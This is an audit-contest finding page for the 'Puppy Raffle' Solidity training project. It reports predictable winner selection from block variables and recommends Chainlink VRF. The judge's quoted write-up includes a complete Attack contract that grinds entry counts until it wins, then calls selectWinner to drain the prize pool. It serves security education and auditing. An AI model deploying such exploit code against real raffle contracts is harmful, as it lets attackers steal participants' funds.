Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak Randomness in selectWinner allows winner manipulation

palsudhanshuxcodes

Root + Impact

DescriptionDescription-This is predictable and manipulable. Miner/validator or even msg.sender (feeAddress) can influence block.timestamp and block.difficulty slightly, or compute hash off-chain before calling to see if they win. Also previous winner logic is flawed.

In PuppyRaffle::selectWinner(), winner is chosen using weak on-chain randomness:

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
// Root cause in the codebase with @> marks to highlight the relevant section
Attacker watches mempool, sees selectWinner is callable (raffleDuration passed + 4 players)Attacker computes off-chain:
keccak256(msg.sender, block.timestamp, block.difficulty) % 4If result != their index, they wait/adjust timestamp by 1 sec and try again (miner can do)Or attacker deploys contract that reverts if not winner, only succeeds when they winWinner is manipulated, attacker drains prizePool + 80% of fees

Risk

Likelihood:High: Easy to compute off-chain, any user can call selectWinner and check outcome, MEV bots can frontrun

Impact:High: Attacker can predict and manipulate winner to always win. Entire prize pool (80% of balance) can be stolen. Breaks core fairness of raffle, honest users lose all funds.

Proof of Concept-Explanation: block.timestamp can be manipulated by validators within ∼15 sec, and msg.sender is known. Randomness is not secure.

function testPredictWinner() public {
// Fill 4 players, attacker is 4th
// Compute expected winner before calling
uint expected = uint(keccak256(abi.encodePacked(feeAddress, block.timestamp, block.difficulty))) % 4;
console.log("Winner will be:", expected);
// Attacker can front-run to make expected == his index
}

Recommended Mitigation-Use Chainlink VRF for secure randomness. Do not use block variables for randomness.

- remove this code
+ add this code
import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
​
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration);
require(players.length >= 4);
// Request random number from Chainlink VRF
uint256 requestId = s_vrfCoordinator.requestRandomWords(...);
}
​
function fulfillRandomWords(uint256 requestId, uint256[] calldata randomWords) internal override {
uint256 winnerIndex = randomWords[0] % players.length;
// ... rest logic
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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